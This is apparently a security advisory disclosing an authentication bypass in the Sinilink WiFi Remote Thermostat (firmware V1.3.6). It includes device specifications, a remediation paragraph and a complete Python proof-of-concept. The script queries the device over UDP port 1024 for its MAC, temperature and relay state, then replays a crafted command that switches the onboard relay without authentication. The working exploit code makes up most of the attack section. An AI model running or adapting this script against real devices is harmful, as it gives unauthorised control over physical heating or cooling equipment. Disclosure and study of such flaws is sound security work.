Channel Accessible by non-endpoint
Introduction
Our Security Research Team at [exploitsecurity.io] discovered a vulnerability in the Sinilink WiFi Remote Thermostat, running firmware V1.3.6, which allows for an attacker to bypass the intended requirement to communicate using MQTT but instead it is possible to replay sinilink protocol commands interfacing directly with the target device. This in turn allows for an attack to control the onboard relay without requiring authentiation via the mobile application. The target device is required to be in 'Manual Mode' with 'Power On, Close' as a pre-requisite.
Affected Device Details
Tech Specs
Overview
WIFI Remote Thermostat High Precision Temperature Controller Module Cooling
and Heating APP Temperature Collection XY-WFT1 WFTX
Technical Parameters
Temperature display: digital tube display
Supply voltage: DC 6~30V
USB power supply: support
Temperature control range: -40~110°C
Temperature control accuracy: 0.1℃
NTC temperature measurement range: -40~110℃
Whether to support 18B20: Yes (-40~110°℃)
Output type: relay switch, current within 10A
Alarm notification: support WeChat alarm notification
Cloud data record: 15 days cloud record, can be exported at any time
Timer switch function: support
Product uses websockets to setup comms back to ws://mq.sinilink.com:8085/mqtt.
This endpoint is utilised as a MQTT Broker and is unauthenticated
Manufacturer
Datasheet(s)
Attack Surface Map
Prerequiste Setup (Modile Application)
Known Affected Software Configurations
V1.3.6
Proof Of Concept Code
#!/usr/local/bin/python3
# Author: Victor Hanna (Exploit Security)
# Sinilink WiFi Remote Thermostat
# CWE-300: Channel Accessible by Non-Endpoint
import requests
import re
import urllib.parse
from colorama import init
from colorama import Fore, Back, Style
import sys
import os
import time
import socket
import time
from datetime import datetime
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
# Banner Function
def banner():
print ("[+]********************************************************************************[+]")
print ("| Author : Victor Hanna (9lyph)["+Fore.RED + "Exploit Security" +Style.RESET_ALL+"]\t\t\t\t\t |")
print ("| Description: Sinilink WiFi Remote Thermostat |")
print ("| Usage : "+sys.argv[0]+" <host> |")
print ("[+]********************************************************************************[+]")
def retrieve_device_info():
SinilinkMsgFromClient = "SINILINK521"
host = str(sys.argv[1])
try:
bytesToSend = str.encode(SinilinkMsgFromClient)
serverAddressPort = (""+host, 1024)
bufferSize = 1024
print (Fore.GREEN + "[+] Retrieving Device Information ..." + Style.RESET_ALL)
UDPClientSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
UDPClientSocket.sendto(bytesToSend, serverAddressPort)
time.sleep(5)
msgFromServer = UDPClientSocket.recvfrom(bufferSize)
msg = "Message from Server {}".format(msgFromServer[0])
msgSplit = msg.split(",")
MAC = msgSplit[0][30:-1]
dt = msgSplit[1][7:]
converted = datetime.fromtimestamp(int(dt)).strftime("%A, %B %d, %Y %I:%M:%S")
temp = msgSplit[5]
degree = msgSplit[6][1:-1]
relay_value = msgSplit[2][9:]
print (Fore.CYAN + f" --> MAC Address: {MAC}" + Style.RESET_ALL)
print (Fore.CYAN + f" --> Time Stamp: {converted}" + Style.RESET_ALL)
print (Fore.CYAN + f" --> Current Temperature Reading: {temp}{degree}" + Style.RESET_ALL)
if (relay_value == "1"):
print (Fore.CYAN + f" --> Relay State: Open" + Style.RESET_ALL)
else:
print (Fore.CYAN + f" --> Relay State: Closed" + Style.RESET_ALL)
except:
print ("Unsuccessful")
def send_payload():
try:
epoch_time = str(int(time.time()))
msgFromClient = '4C:EB:D6:01:A8:7C{"MAC":"4C:EB:D6:01:A8:7C","time":'+epoch_time+',"param":[1,"M",0,20.8,"C","H",66,5,0,0,0,20.5,0,-40,0,0,5,1,0,0,0,0]}'
bytesToSend = str.encode(msgFromClient)
serverAddressPort = (""+host, 1024)
bufferSize = 1024
print (Fore.GREEN + "[+] Sending Payload ..." + Style.RESET_ALL)
time.sleep(10)
UDPClientSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)
UDPClientSocket.sendto(bytesToSend, serverAddressPort)
time.sleep(15)
UDPClientSocket.close()
except:
print ("Unsuccesful")
# Main Function
def main():
os.system('clear')
banner()
retrieve_device_info()
send_payload()
retrieve_device_info()
if __name__ == "__main__":
if len(sys.argv)>1:
host = sys.argv[1]
main()
else:
print (Fore.RED + f"[+] Not enough arguments, please specify target and relay!" + Style.RESET_ALL)
Reference
Remediation Steps
Adequately verify the identity of entities at each end of the communication channel. Inadequate or inconsistent verification may result in insufficient or incorrect identification of either communicating entity. This can have negative consequences such as misplaced trust in the entity at the other end of the channel. An attacker can leverage this by interposing between the communicating entities and masquerading as the original entity. In the absence of sufficient verification of identity, such an attacker can eavesdrop and potentially modify the communication between the original entities.
ความคิดเห็น